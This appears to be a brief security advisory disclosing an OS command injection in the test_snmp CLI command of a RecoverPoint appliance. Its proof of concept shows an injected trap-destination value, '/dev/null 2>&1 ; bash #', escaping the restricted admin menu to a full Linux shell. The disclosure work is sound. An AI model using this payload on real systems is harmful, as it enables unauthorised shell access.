1. Description

An OS command injection vulnerability resulting in code execution as the built-in admin user.

A crafted entry can result in the ability to escape from the restricted admin user's menu driven CLI to a full Linux operating system shell in the context of the admin user. The attack vector is the trap destination (hostname/IP) parameter of the test_snmp function.

2. Proof of Concept

RecoverPoint> test_snmp
Enter the trap destination (host name or IP)
> /dev/null 2>&1 ; bash #
admin@RecoverPoint:/home/kos/cli$ exit
exit
Test completed successfully.
